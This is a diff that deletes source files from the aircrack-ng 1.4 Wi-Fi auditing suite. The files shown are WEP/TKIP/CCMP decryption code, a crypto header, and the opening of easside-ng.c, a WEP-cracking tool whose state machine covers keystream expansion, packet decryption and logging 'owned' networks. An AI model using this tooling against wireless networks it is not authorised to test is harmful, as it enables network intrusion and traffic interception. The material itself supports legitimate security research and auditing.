-	PN[2] = h80211[z + 5];
-	PN[3] = h80211[z + 4];
-	PN[4] = h80211[z + 1];
-	PN[5] = h80211[z + 0];
-
-	data_len = caplen - z - 8 - 8;
-
-	// B_0 := B0
-	B0[0] = 0x59; // Flags
-	B0[1] = 0; // Nonce := CCM Nonce: - Nonce flags
-	memcpy(B0 + 2, h80211 + 10, 6); //                     - A2
-	memcpy(B0 + 8, PN, 6); //                     - PN
-	B0[14] = (uint8_t)((data_len >> 8) & 0xFF); // l(m)
-	B0[15] = (uint8_t)(data_len & 0xFF); // l(m)
-
-	// B_1 := AAD[ 0..15]
-	// B_2 := AAD[16..31]
-	//        AAD[ 0.. 1] = l(a)
-	//        AAD[ 2..31] = a
-	memset(AAD, 0, sizeof(AAD));
-	AAD[2] = (uint8_t)(h80211[0] & 0x8F); // AAD[2..3]  = FC
-	AAD[3] = (uint8_t)(h80211[1] & 0xC7); //
-	memcpy(AAD + 4, h80211 + 4, 3 * 6); // AAD[4..21] = [A1,A2,A3]
-	AAD[22] = (uint8_t)(h80211[22] & 0x0F); // AAD[22]    = SC
-
-	if (is_a4)
-	{
-		memcpy(AAD + 24, h80211 + 24, 6); // AAD[24..29] = A4
-
-		if (is_qos)
-		{
-			AAD[30] = (uint8_t)(h80211[z - 2] & 0x0F); // AAD[30..31] = QC
-			AAD[31] = 0; //
-			B0[1] = AAD[30]; //  B0[     1] = CCM Nonce flags
-			AAD[1] = 22 + 2 + 6; // AAD[ 0.. 1] = l(a)
-		}
-		else
-		{
-			memset(&AAD[30], 0, 2); // AAD[30..31] = QC
-			B0[1] = 0; //  B0[     1] = CCM Nonce flags
-			AAD[1] = 22 + 6; // AAD[ 0.. 1] = l(a)
-		}
-	}
-	else
-	{
-		if (is_qos)
-		{
-			AAD[24] = (uint8_t)(h80211[z - 2] & 0x0F); // AAD[24..25] = QC
-			AAD[25] = 0; //
-			B0[1] = AAD[24]; //  B0[     1] = CCM Nonce flags
-			AAD[1] = 22 + 2; // AAD[ 0.. 1] = l(a)
-		}
-		else
-		{
-			memset(&AAD[24], 0, 2); // AAD[24..25] = QC
-			B0[1] = 0; //  B0[     1] = CCM Nonce flags
-			AAD[1] = 22; // AAD[ 0.. 1] = l(a)
-		}
-	}
-
-	AES_set_encrypt_key(TK1, 128, &aes_ctx);
-	AES_encrypt(B0, MIC, &aes_ctx); // X_1 := E( K, B_0 )
-	XOR(MIC, AAD, 16); // X_2 := E( K, X_1 XOR B_1 )
-	AES_encrypt(MIC, MIC, &aes_ctx); //
-	XOR(MIC, AAD + 16, 16); // X_3 := E( K, X_2 XOR B_2 )
-	AES_encrypt(MIC, MIC, &aes_ctx); //
-
-	// A_i := B0
-	//        B0[     0] = Flags
-	//        B0[ 1..13] = Nonce := CCM Nonce
-	//        B0[14..15] = i
-	B0[0] &= 0x07;
-	B0[14] = B0[15] = 0;
-	AES_encrypt(B0, B, &aes_ctx); // S_0 := E( K, A_i )
-	XOR(h80211 + caplen - 8, B, 8); // T   := U XOR S_0[0..7]
-	//   ^^^^^^^^^^^^^^^      ^
-	//     U:=MIC -> T       S_0
-
-	blocks = (data_len + 16 - 1) / 16;
-	last = data_len % 16;
-	offset = z + 8;
-
-	for (i = 1; i <= blocks; i++)
-	{
-		int n = (last > 0 && i == blocks) ? last : 16;
-
-		B0[14] = (uint8_t)((i >> 8) & 0xFF); // A_i[14..15] = i
-		B0[15] = (uint8_t)(i & 0xFF); //
-
-		AES_encrypt(B0, B, &aes_ctx); // S_i := E( K, A_i )
-		// The message is encrypted by XORing the octets of message m with the
-		// first l(m) octets of the concatenation of S_1, S_2, S_3, ... .
-		XOR(h80211 + offset, B, n);
-		// [B_3, ..., B_n] := m
-		XOR(MIC, h80211 + offset, n); // X_i+3 := E( K, X_i+2 XOR B_i+2 )
-		AES_encrypt(MIC, MIC, &aes_ctx); //
-		//    (X_i+2 ^^^)(^^^ X_i+3)
-
-		offset += n;
-	}
-
-// We need to free the ctx when using gcrypt to avoid memory leaks
-#ifdef USE_GCRYPT
-	gcry_cipher_close(aes_ctx);
-#endif
-
-	// T := X_n[ 0.. 7]
-	// Note: Decryption is successful if calculated T is the same as the one
-	//       that was sent with the message.
-	return (memcmp(h80211 + offset, MIC, 8) == 0);
-}
-
-/*
-**********************************************************************
-* Routine: Phase 1 -- generate P1K, given TA, TK, IV32
-*
-* Inputs:
-*        TK[]             = Temporal Key                   [128 bits]
-*        TA[]             = transmitter's MAC address      [ 48 bits]
-*        IV32             = upper 32 bits of IV            [ 32 bits]
-* Output:
-*        P1K[]            = Phase 1 key                    [ 80 bits]
-*
-* Note:
-*        This function only needs to be called every 2**16 frames,
-*        although in theory it could be called every frame.
-*
-**********************************************************************
-*/
-// void Phase1(u16b *P1K,const byte *TK,const byte *TA,u32b IV32)
-//         {
-//         int  i;
-//         /* Initialize the 80 bits of P1K[] from IV32 and TA[0..5] */
-//         P1K[0]      = Lo16(IV32);
-//         P1K[1]      = Hi16(IV32);
-//         P1K[2]      = Mk16(TA[1],TA[0]); /* use TA[] as little-endian */
-//         P1K[3]      = Mk16(TA[3],TA[2]);
-//         P1K[4]      = Mk16(TA[5],TA[4]);
-//         /* Now compute an unbalanced Feistel cipher with 80-bit block */
-//         /* size on the 80-bit block P1K[], using the 128-bit key TK[] */
-//         for (i=0; i < PHASE1_LOOP_CNT ;i++)
-//             {                 /* Each add operation here is mod 2**16 */
-//             P1K[0] += _S_(P1K[4] ^ TK16((i&1)+0));
-//             P1K[1] += _S_(P1K[0] ^ TK16((i&1)+2));
-//             P1K[2] += _S_(P1K[1] ^ TK16((i&1)+4));
-//             P1K[3] += _S_(P1K[2] ^ TK16((i&1)+6));
-//             P1K[4] += _S_(P1K[3] ^ TK16((i&1)+0));
-//             P1K[4] += i;                     /* avoid "slide attacks" */
-//             }
-//         }
-/*
-	**********************************************************************
-	* Routine: Phase 2 -- generate RC4KEY, given TK, P1K, IV16
-	*
-	* Inputs:
-	*       TK[]      = Temporal Key                              [128 bits]
-	*       P1K[]     = Phase 1 output key                        [ 80 bits]
-	*       IV16      = low 16 bits of IV counter                 [ 16 bits]
-	* Output:
-	*       RC4KEY[] = the key used to encrypt the frame          [128 bits]
-	*
-	* Note:
-	*       The value {TA,IV32,IV16} for Phase1/Phase2 must be unique
-	*       across all frames using the same key TK value. Then, for a
-	*       given value of TK[], this TKIP48 construction guarantees that
-	*       the final RC4KEY value is unique across all frames.
-	*
-	* Suggested implementation optimization: if PPK[] is "overlaid"
-	*       appropriately on RC4KEY[], there is no need for the final
-	*       for loop below that copies the PPK[] result into RC4KEY[].
-	*
-	**********************************************************************
-	*/
-//     void Phase2(byte *RC4KEY,const byte *TK,const u16b *P1K,u16b IV16)
-//         {
-//         int i;
-//         u16b PPK[6];                        /* temporary key for mixing */
-//         /* all adds in the PPK[] equations below are mod 2**16 */
-//         for (i=0;i<5;i++) PPK[i]=P1K[i];    /* first, copy P1K to PPK */
-//         PPK[5] = P1K[4] + IV16;             /* next, add in IV16 */
-//         /* Bijective non-linear mixing of the 96 bits of PPK[0..5] */
-//         PPK[0] +=    _S_(PPK[5] ^ TK16(0)); /* Mix key in each "round" */
-//         PPK[1] +=    _S_(PPK[0] ^ TK16(1));
-//         PPK[2] +=    _S_(PPK[1] ^ TK16(2));
-//         PPK[3] +=            _S_(PPK[2] ^ TK16(3));
-//         PPK[4] +=            _S_(PPK[3] ^ TK16(4));
-//         PPK[5] +=            _S_(PPK[4] ^ TK16(5)); /* Total # S-box lookups
-//         == 6        */
-//         /* Final sweep: bijective, linear. Rotates kill LSB correlations */
-//         PPK[0] += RotR1(PPK[5] ^ TK16(6));
-//         PPK[1] += RotR1(PPK[0] ^ TK16(7)); /* Use all of TK[] in Phase2 */
-//         PPK[2] += RotR1(PPK[1]);
-//         PPK[3] += RotR1(PPK[2]);
-//         PPK[4] += RotR1(PPK[3]);
-//         PPK[5] += RotR1(PPK[4]);
-//         /* At this point, for a given key TK[0..15], the 96-bit output */
-//         /*        value PPK[0..5] is guaranteed to be unique, as a function
-//         */
-//         /*        of the 96-bit "input" value         {TA,IV32,IV16}. That
-//         is, P1K       */
-//         /*        is now a keyed permutation of {TA,IV32,IV16}. */
-//         /* Set RC4KEY[0..3], which includes cleartext portion of RC4 key */
-//         RC4KEY[0] = Hi8(IV16);                      /* RC4KEY[0..2] is the
-//         WEP IV        */
-//         RC4KEY[1] =(Hi8(IV16) | 0x20) & 0x7F; /* Help avoid FMS weak keys */
-//         RC4KEY[2] = Lo8(IV16);
-//         RC4KEY[3] = Lo8((PPK[5] ^ TK16(0)) >> 1);
-//         /* Copy 96 bits of PPK[0..5] to RC4KEY[4..15]
-//         (little-endian)            */
-//         for (i=0;i<6;i++)
-//             {
-//             RC4KEY[4+2*i] = Lo8(PPK[i]);
-//             RC4KEY[5+2*i] = Hi8(PPK[i]);
-//             }
-//         }

aircrack-ng-1.4.tar.gz/src/crypto.h Deleted

@@ -1,241 +0,0 @@
-/*
- *  MD5, SHA-1, RC4 and AES implementations
- *
- *  Copyright (C) 2001-2004  Christophe Devine
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- *
- * In addition, as a special exception, the copyright holders give
- * permission to link the code of portions of this program with the
- * OpenSSL library under certain conditions as described in each
- * individual source file, and distribute linked combinations
- * including the two.
- * You must obey the GNU General Public License in all respects
- * for all of the code used other than OpenSSL.  If you modify
- * file(s) with this exception, you may extend this exception to your
- * version of the file(s), but you are not obligated to do so.  If you
- * do not wish to do so, delete this exception statement from your
- * version.  If you delete this exception statement from all source
- * files in the program, then also delete it here.
-
- */
-
-#ifndef _CRYPTO_H
-#define _CRYPTO_H
-
-#ifdef USE_GCRYPT
-#include "gcrypt-openssl-wrapper.h"
-#endif
-
-#define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00"
-#define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06")
-#define S_LLC_SNAP_WLCCP "\xAA\xAA\x03\x00\x40\x96\x00\x00"
-#define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00")
-#define S_LLC_SNAP_SPANTREE "\x42\x42\x03\x00\x00\x00\x00\x00"
-#define S_LLC_SNAP_CDP "\xAA\xAA\x03\x00\x00\x0C\x20"
-#define IEEE80211_FC1_DIR_FROMDS 0x02 /* AP ->STA */
-
-#define TYPE_ARP 0
-#define TYPE_IP 1
-
-#define NULL_MAC (unsigned char *) "\x00\x00\x00\x00\x00\x00"
-#define BROADCAST (unsigned char *) "\xFF\xFF\xFF\xFF\xFF\xFF"
-#define SPANTREE (unsigned char *) "\x01\x80\xC2\x00\x00\x00"
-#define CDP_VTP (unsigned char *) "\x01\x00\x0C\xCC\xCC\xCC"
-
-#define IEEE80211_FC0_SUBTYPE_MASK 0xf0
-#define IEEE80211_FC0_SUBTYPE_SHIFT 4
-
-/* for TYPE_DATA (bit combination) */
-#define IEEE80211_FC0_SUBTYPE_QOS 0x80
-#define IEEE80211_FC0_SUBTYPE_QOS_NULL 0xc0
-
-#define GET_SUBTYPE(fc)                                                        \
-	(((fc) &IEEE80211_FC0_SUBTYPE_MASK) >> IEEE80211_FC0_SUBTYPE_SHIFT)        \
-		<< IEEE80211_FC0_SUBTYPE_SHIFT
-
-#define ROL32(A, n) (((A) << (n)) | (((A) >> (32 - (n))) & ((1UL << (n)) - 1)))
-#define ROR32(A, n) ROL32((A), 32 - (n))
-
-struct WPA_ST_info
-{
-	struct WPA_ST_info * next; /* next supplicant              */
-	unsigned char stmac[6]; /* supplicant MAC               */
-	unsigned char bssid[6]; /* authenticator MAC            */
-	unsigned char snonce[32]; /* supplicant nonce             */
-	unsigned char anonce[32]; /* authenticator nonce          */
-	unsigned char keymic[20]; /* eapol frame MIC              */
-	unsigned char eapol[256]; /* eapol frame contents         */
-	unsigned char ptk[80]; /* pairwise transcient key      */
-	unsigned eapol_size; /* eapol frame size             */
-	unsigned long t_crc; /* last ToDS   frame CRC        */
-	unsigned long f_crc; /* last FromDS frame CRC        */
-	int keyver, valid_ptk;
-	unsigned char pn[6]; /* Packet Number (WPA-CCMP) */
-};
-
-struct Michael
-{
-	unsigned long key0;
-	unsigned long key1;
-	unsigned long left;
-	unsigned long right;
-	unsigned long nBytesInM;
-	unsigned long message;
-	unsigned char mic[8];
-};
-
-// typedef unsigned char byte;    /* 8-bit byte (octet) */
-// typedef unsigned short u16b;   /* 16-bit unsigned word */
-// typedef unsigned long u32b;    /* 32-bit unsigned word */
-// /* macros for extraction/creation of byte/u16b values */
-// #define RotR1(v16)   ((((v16) >> 1) & 0x7FFF) ^ (((v16) & 1) << 15))
-// #define   Lo8(v16)   ((byte)( (v16)       & 0x00FF))
-// #define   Hi8(v16)   ((byte)(((v16) >> 8) & 0x00FF))
-// #define Lo16(v32)    ((u16b)( (v32)       & 0xFFFF))
-// #define Hi16(v32)    ((u16b)(((v32) >>16) & 0xFFFF))
-// #define Mk16(hi,lo) ((lo) ^ (((u16b)(hi)) << 8))
-// /* select the Nth 16-bit word of the Temporal Key byte array TK[] */
-// #define TK16(N)      Mk16(TK[2*(N)+1],TK[2*(N)])
-// /* S-box lookup: 16 bits --> 16 bits */
-// #define _S_(v16)     (Sbox[0][Lo8(v16)] ^ Sbox[1][Hi8(v16)])
-// /* fixed algorithm "parameters" */
-// #define PHASE1_LOOP_CNT   8    /* this needs to be "big enough" */
-// #define TA_SIZE           6    /* 48-bit transmitter address */
-// #define TK_SIZE          16    /* 128-bit Temporal Key */
-// #define P1K_SIZE         10    /* 80-bit Phase1 key */
-// #define RC4_KEY_SIZE     16    /* 128-bit RC4KEY (104 bits unknown) */
-
-/* 2-byte by 2-byte subset of the full AES S-box table */
-// const u16b TkipSbox[2][256]=            /* Sbox for hash (can be in ROM) */
-// {{
-//         0xC6A5,0xF884,0xEE99,0xF68D,0xFF0D,0xD6BD,0xDEB1,0x9154,
-//         0x6050,0x0203,0xCEA9,0x567D,0xE719,0xB562,0x4DE6,0xEC9A,
-//         0x8F45,0x1F9D,0x8940,0xFA87,0xEF15,0xB2EB,0x8EC9,0xFB0B,
-//         0x41EC,0xB367,0x5FFD,0x45EA,0x23BF,0x53F7,0xE496,0x9B5B,
-//         0x75C2,0xE11C,0x3DAE,0x4C6A,0x6C5A,0x7E41,0xF502,0x834F,
-//         0x685C,0x51F4,0xD134,0xF908,0xE293,0xAB73,0x6253,0x2A3F,
-//         0x080C,0x9552,0x4665,0x9D5E,0x3028,0x37A1,0x0A0F,0x2FB5,
-//         0x0E09,0x2436,0x1B9B,0xDF3D,0xCD26,0x4E69,0x7FCD,0xEA9F,
-//         0x121B,0x1D9E,0x5874,0x342E,0x362D,0xDCB2,0xB4EE,0x5BFB,
-//         0xA4F6,0x764D,0xB761,0x7DCE,0x527B,0xDD3E,0x5E71,0x1397,
-//         0xA6F5,0xB968,0x0000,0xC12C,0x4060,0xE31F,0x79C8,0xB6ED,
-//         0xD4BE,0x8D46,0x67D9,0x724B,0x94DE,0x98D4,0xB0E8,0x854A,
-//         0xBB6B,0xC52A,0x4FE5,0xED16,0x86C5,0x9AD7,0x6655,0x1194,
-//         0x8ACF,0xE910,0x0406,0xFE81,0xA0F0,0x7844,0x25BA,0x4BE3,
-//         0xA2F3,0x5DFE,0x80C0,0x058A,0x3FAD,0x21BC,0x7048,0xF104,
-//         0x63DF,0x77C1,0xAF75,0x4263,0x2030,0xE51A,0xFD0E,0xBF6D,
-//         0x814C,0x1814,0x2635,0xC32F,0xBEE1,0x35A2,0x88CC,0x2E39,
-//         0x9357,0x55F2,0xFC82,0x7A47,0xC8AC,0xBAE7,0x322B,0xE695,
-//         0xC0A0,0x1998,0x9ED1,0xA37F,0x4466,0x547E,0x3BAB,0x0B83,
-//         0x8CCA,0xC729,0x6BD3,0x283C,0xA779,0xBCE2,0x161D,0xAD76,
-//         0xDB3B,0x6456,0x744E,0x141E,0x92DB,0x0C0A,0x486C,0xB8E4,
-//         0x9F5D,0xBD6E,0x43EF,0xC4A6,0x39A8,0x31A4,0xD337,0xF28B,
-//         0xD532,0x8B43,0x6E59,0xDAB7,0x018C,0xB164,0x9CD2,0x49E0,
-//         0xD8B4,0xACFA,0xF307,0xCF25,0xCAAF,0xF48E,0x47E9,0x1018,
-//         0x6FD5,0xF088,0x4A6F,0x5C72,0x3824,0x57F1,0x73C7,0x9751,
-//         0xCB23,0xA17C,0xE89C,0x3E21,0x96DD,0x61DC,0x0D86,0x0F85,
-//         0xE090,0x7C42,0x71C4,0xCCAA,0x90D8,0x0605,0xF701,0x1C12,
-//         0xC2A3,0x6A5F,0xAEF9,0x69D0,0x1791,0x9958,0x3A27,0x27B9,
-//         0xD938,0xEB13,0x2BB3,0x2233,0xD2BB,0xA970,0x0789,0x33A7,
-//         0x2DB6,0x3C22,0x1592,0xC920,0x8749,0xAAFF,0x5078,0xA57A,
-//         0x038F,0x59F8,0x0980,0x1A17,0x65DA,0xD731,0x84C6,0xD0B8,
-//         0x82C3,0x29B0,0x5A77,0x1E11,0x7BCB,0xA8FC,0x6DD6,0x2C3A,
-//     },
-//     { /* second half of table is byte-reversed version of first! */
-//         0xA5C6,0x84F8,0x99EE,0x8DF6,0x0DFF,0xBDD6,0xB1DE,0x5491,
-//         0x5060,0x0302,0xA9CE,0x7D56,0x19E7,0x62B5,0xE64D,0x9AEC,
-//         0x458F,0x9D1F,0x4089,0x87FA,0x15EF,0xEBB2,0xC98E,0x0BFB,
-//         0xEC41,0x67B3,0xFD5F,0xEA45,0xBF23,0xF753,0x96E4,0x5B9B,
-//         0xC275,0x1CE1,0xAE3D,0x6A4C,0x5A6C,0x417E,0x02F5,0x4F83,
-//         0x5C68,0xF451,0x34D1,0x08F9,0x93E2,0x73AB,0x5362,0x3F2A,
-//         0x0C08,0x5295,0x6546,0x5E9D,0x2830,0xA137,0x0F0A,0xB52F,
-//         0x090E,0x3624,0x9B1B,0x3DDF,0x26CD,0x694E,0xCD7F,0x9FEA,
-//         0x1B12,0x9E1D,0x7458,0x2E34,0x2D36,0xB2DC,0xEEB4,0xFB5B,
-//         0xF6A4,0x4D76,0x61B7,0xCE7D,0x7B52,0x3EDD,0x715E,0x9713,
-//         0xF5A6,0x68B9,0x0000,0x2CC1,0x6040,0x1FE3,0xC879,0xEDB6,
-//         0xBED4,0x468D,0xD967,0x4B72,0xDE94,0xD498,0xE8B0,0x4A85,
-//         0x6BBB,0x2AC5,0xE54F,0x16ED,0xC586,0xD79A,0x5566,0x9411,
-//         0xCF8A,0x10E9,0x0604,0x81FE,0xF0A0,0x4478,0xBA25,0xE34B,
-//         0xF3A2,0xFE5D,0xC080,0x8A05,0xAD3F,0xBC21,0x4870,0x04F1,
-//         0xDF63,0xC177,0x75AF,0x6342,0x3020,0x1AE5,0x0EFD,0x6DBF,
-//         0x4C81,0x1418,0x3526,0x2FC3,0xE1BE,0xA235,0xCC88,0x392E,
-//         0x5793,0xF255,0x82FC,0x477A,0xACC8,0xE7BA,0x2B32,0x95E6,
-//         0xA0C0,0x9819,0xD19E,0x7FA3,0x6644,0x7E54,0xAB3B,0x830B,
-//         0xCA8C,0x29C7,0xD36B,0x3C28,0x79A7,0xE2BC,0x1D16,0x76AD,
-//         0x3BDB,0x5664,0x4E74,0x1E14,0xDB92,0x0A0C,0x6C48,0xE4B8,
-//         0x5D9F,0x6EBD,0xEF43,0xA6C4,0xA839,0xA431,0x37D3,0x8BF2,
-//         0x32D5,0x438B,0x596E,0xB7DA,0x8C01,0x64B1,0xD29C,0xE049,
-//         0xB4D8,0xFAAC,0x07F3,0x25CF,0xAFCA,0x8EF4,0xE947,0x1810,
-//         0xD56F,0x88F0,0x6F4A,0x725C,0x2438,0xF157,0xC773,0x5197,
-//         0x23CB,0x7CA1,0x9CE8,0x213E,0xDD96,0xDC61,0x860D,0x850F,
-//         0x90E0,0x427C,0xC471,0xAACC,0xD890,0x0506,0x01F7,0x121C,
-//         0xA3C2,0x5F6A,0xF9AE,0xD069,0x9117,0x5899,0x273A,0xB927,
-//         0x38D9,0x13EB,0xB32B,0x3322,0xBBD2,0x70A9,0x8907,0xA733,
-//         0xB62D,0x223C,0x9215,0x20C9,0x4987,0xFFAA,0x7850,0x7AA5,
-//         0x8F03,0xF859,0x8009,0x171A,0xDA65,0x31D7,0xC684,0xB8D0,
-//         0xC382,0xB029,0x775A,0x111E,0xCB7B,0xFCA8,0xD66D,0x3A2C,
-//     }
-// };
-/* Used for own RC4 implementation */
-struct rc4_state
-{
-	int x, y, m[256];
-};
-
-struct AP_info;
-
-void calc_pmk(char * key, char * essid, unsigned char pmk[40]);
-int decrypt_wep(unsigned char * data, int len, unsigned char * key, int keylen);
-int encrypt_wep(unsigned char * data, int len, unsigned char * key, int keylen);
-int check_crc_buf(unsigned char * buf, int len);
-int calc_crc_buf(unsigned char * buf, int len);
-void calc_mic(struct AP_info * ap,
-			  unsigned char * pmk,
-			  unsigned char * ptk,
-			  unsigned char * mic);
-int known_clear(
-	void * clear, int * clen, int * weight, unsigned char * wh, size_t len);
-int add_crc32(unsigned char * data, int length);
-int add_crc32_plain(unsigned char * data, int length);
-int is_ipv6(void * wh);
-int is_dhcp_discover(void * wh, size_t len);
-int is_qos_arp_tkip(void * wh, int len);
-int calc_tkip_ppk(unsigned char * h80211,
-				  int caplen,
-				  unsigned char TK1[16],
-				  unsigned char key[16]);
-void encrypt_tkip(unsigned char * h80211, int caplen, unsigned char PTK[80]);
-int decrypt_tkip(unsigned char * h80211, int caplen, unsigned char TK1[16]);
-int encrypt_ccmp(unsigned char * h80211,
-				 int caplen,
-				 unsigned char TK1[16],
-				 unsigned char PN[6]);
-int decrypt_ccmp(unsigned char * h80211, int caplen, unsigned char TK1[16]);
-int calc_ptk(struct WPA_ST_info * wpa, unsigned char pmk[32]);
-int calc_tkip_mic(unsigned char * packet,
-				  int length,
-				  unsigned char ptk[80],
-				  unsigned char value[8]);
-int michael_test(unsigned char key[8],
-				 unsigned char * message,
-				 int length,
-				 unsigned char out[8]);
-int calc_tkip_mic_key(unsigned char * packet, int length, unsigned char key[8]);
-
-extern const unsigned long int crc_tbl[256];
-extern const unsigned char crc_chop_tbl[256][4];
-
-#endif /* crypto.h */

aircrack-ng-1.4.tar.gz/src/easside-ng.c Deleted

@@ -1,2551 +0,0 @@
-/*
-  *  Copyright (c) 2007-2009 Andrea Bittau <a.bittau@cs.ucl.ac.uk>
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-  *  the Free Software Foundation; either version 2 of the License, or
-  *  (at your option) any later version.
-  *
-  *  This program is distributed in the hope that it will be useful,
-  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-  *  GNU General Public License for more details.
-  *
-  *  You should have received a copy of the GNU General Public License
-  *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
-  */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include <assert.h>
-#include <err.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <sys/ioctl.h>
-#include <sys/socket.h>
-#include <net/if.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <signal.h>
-#include <sys/uio.h>
-#include <sys/time.h>
-#include <time.h>
-#include <zlib.h>
-#include <netinet/in.h>
-#include <arpa/inet.h>
-#include <netinet/in_systm.h>
-#include <netinet/ip.h>
-#include <stdarg.h>
-#define __FAVOR_BSD
-#include <netinet/udp.h>
-#undef __FAVOR_BSD
-
-#include "aircrack-osdep/osdep.h"
-#include "ieee80211.h"
-#include "easside.h"
-#include "if_arp.h"
-#include "ethernet.h"
-#include "version.h"
-#include "aircrack-osdep/byteorder.h"
-
-#define S_MTU 1500
-#define S_MCAST "\x01\x00\x5e\x01\x00"
-#define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00"
-#define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06")
-#define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00")
-#define S_PRGA_LOG "prga.log"
-#define S_OWN_LOG "own.log"
-#define S_MIN_RTO 10
-
-enum
-{
-	S_SEARCHING = 0,
-	S_SENDAUTH,
-	S_SENDASSOC,
-	S_ASSOCIATED
-};
-
-enum
-{
-	AS_NOPRGA = 0,
-	AS_PRGA_EXPAND,
-	AS_FIND_IP,
-	AS_DECRYPT_ARP,
-	AS_DECRYPT_IP,
-	AS_FIND_RTR_MAC,
-	AS_CHECK_INET,
-	AS_REDIRECT
-};
-
-struct rpacket
-{
-	unsigned char rp_packet[2048];
-	int rp_len;
-	int rp_id;
-	struct rpacket * rp_next;
-};
-
-struct owned
-{
-	unsigned char ow_mac[6];
-	struct owned * ow_next;
-};
-
-struct east_state
-{
-	/* conf & params */
-	char es_ifname[256];
-	unsigned char es_mymac[6];
-	int es_setmac;
-	int es_iponly;
-	struct wif * es_wi;
-	char es_tapname[16];
-	struct tif * es_ti;
-	unsigned int es_hopfreq;
-	int es_txto_mgt;
-	int es_txto_expand;
-	int es_expand_factor;
-	int es_txto_decrypt;
-	int es_port;
-	int es_udp_port;
-	int es_txto_whohas;
-	int es_txto_checkinet;
-	int es_txto_redirect;
-	unsigned char es_clear[S_MTU + 4];
-	struct rpacket * es_rqueue;
-	struct owned * es_owned;
-	int es_chanlock;
-
-	/* state */
-	unsigned char es_apmac[6];
-	int es_apchan;
-	char es_apssid[256];
-	int es_state;
-	struct timeval es_lasthop;
-	int es_txseq;
-	struct timeval es_txlast;
-	unsigned char es_prga[S_MTU + 4];
-	unsigned char * es_clearp;
-	unsigned char * es_clearpnext;
-	int es_prgalen;
-	unsigned char es_iv[3];
-	int es_expand_num;
-	int es_expand_len;
-	int es_txack;
-	unsigned char es_prga_d[S_MTU + 4];
-	int es_prga_dlen;
-	unsigned char es_prga_div[3];
-	unsigned char es_packet[2048];
-	int es_have_packet;
-	int es_have_src;
-	unsigned char es_packet_arp[2048];
-	int es_have_arp;
-	struct in_addr es_myip;
-	struct in_addr es_rtrip;
-	struct in_addr es_pubip;
-	unsigned char es_rtrmac[6];
-	struct in_addr es_srvip;
-	int es_buddys;
-	unsigned short es_rpacket_id;
-	struct timeval es_rtt;
-	unsigned short es_rtt_id;
-	int es_srtt;
-	int es_rxseq;
-	int es_astate;
-};
-
-static struct east_state _es;
-
-static void printf_time(char * fmt, ...)
-{
-	va_list ap;
-	struct timeval now;
-	time_t t;
-	struct tm * tm;
-
-	if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()");
-	t = time(NULL);
-	if (t == (time_t) -1) err(1, "time()");
-	tm = localtime(&t);
-	if (!tm) err(1, "localtime()");
-
-	printf("[%.2d:%.2d:%.2d.%.6lu] ",
-		   tm->tm_hour,
-		   tm->tm_min,
-		   tm->tm_sec,
-		   (long unsigned int) now.tv_usec);
-
-	va_start(ap, fmt);
-	vprintf(fmt, ap);
-	va_end(ap);
-}
-
-static void mac2str(char * str, unsigned char * m, int macsize)
-{
-	snprintf(str,
-			 macsize,
-			 "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
-			 m[0],
-			 m[1],
-			 m[2],
-			 m[3],
-			 m[4],
-			 m[5]);
-}
-
-static int str2mac(unsigned char * mac, char * str)
-{
-	unsigned int macf[6];
-	int i;
-
-	if (sscanf(str,
-			   "%x:%x:%x:%x:%x:%x",
-			   &macf[0],
-			   &macf[1],
-			   &macf[2],
-			   &macf[3],
-			   &macf[4],
-			   &macf[5])
-		!= 6)
-		return -1;
-
-	for (i = 0; i < 6; i++) *mac++ = (char) macf[i];
-
-	return 0;
-}
-
-static void init_defaults(struct east_state * es)
-{
-	memset(es, 0, sizeof(*es));
-
-	memcpy(es->es_mymac, "\x00\x00\xde\xfa\xce\x0d", 6);
-	es->es_setmac = 0;
-	strncpy(es->es_ifname, "specify_interface", sizeof(es->es_ifname) - 1);
-
-	es->es_state = S_SEARCHING;
-	es->es_hopfreq = 100; /* ms */
-
-	es->es_txto_mgt = 100; /* ms */
-	es->es_txto_expand = 100;
-	es->es_expand_factor = 3;
-	memcpy(es->es_clear, "\xAA\xAA\x03\x00\x00\x00\x08\x06", 8);
-	es->es_clearpnext = es->es_clearp = es->es_clear;
-
-	es->es_txto_decrypt = 10;
-
-	es->es_txto_whohas = 500;
-	es->es_txto_checkinet = 2000;
-	es->es_txto_redirect = 2000;
-	es->es_port = S_DEFAULT_PORT;
-	es->es_udp_port = S_DEFAULT_UDP_PORT;
-}
-
-static void reset(struct east_state * es)
-{
-	int sz;
-	void * ptr;
-	struct rpacket * p;
-	struct owned * ow;
-	FILE * f;
-	char mac[18];
-
-	/* close buddy */
-	close(es->es_buddys);
-	es->es_buddys = 0;
-
-	/* reset state */
-	ptr = es->es_apmac;
-	sz = sizeof(*es) - ((unsigned long) ptr - (unsigned long) es);
-	memset(ptr, 0, sz);
-
-	/* fixup state */
-	es->es_clearpnext = es->es_clearp = es->es_clear;
-	p = es->es_rqueue;
-	while (p)
-	{
-		p->rp_len = 0;
-		p = p->rp_next;
-	}
-
-	/* log ownage */
-	ow = malloc(sizeof(*ow));
-	if (!ow) err(1, "malloc()");
-	memset(ow, 0, sizeof(*ow));
